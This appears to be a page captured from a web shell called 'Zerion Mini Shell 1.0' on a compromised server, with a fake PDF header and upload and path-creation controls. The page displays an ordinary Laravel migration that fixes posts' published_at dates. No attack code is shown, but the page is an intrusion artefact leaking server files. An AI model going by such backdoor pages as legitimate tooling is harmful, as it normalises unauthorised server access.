%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api/database/migrations/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api/database/migrations/2019_08_05_142436_fix_published_at_values.php

<?php

use App\Models\Post;
use Carbon\Carbon;
use Illuminate\Database\Migrations\Migration;

class FixPublishedAtValues extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        $posts = Post::query()
                     ->where('status', Post::PUBLISHED)
                     ->get();

        $posts->each(function (Post $post) {
            /** @var \App\Models\ActivityLog $publishedAction */
            if ($publishedAction = $post->activities()
                                        ->where('description', 'published')
                                        ->first()) {
                $post->published_at = Carbon::parse($publishedAction->created_at);
                $post->save();
            }
        });

    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        //
    }
}

Zerion Mini Shell 1.0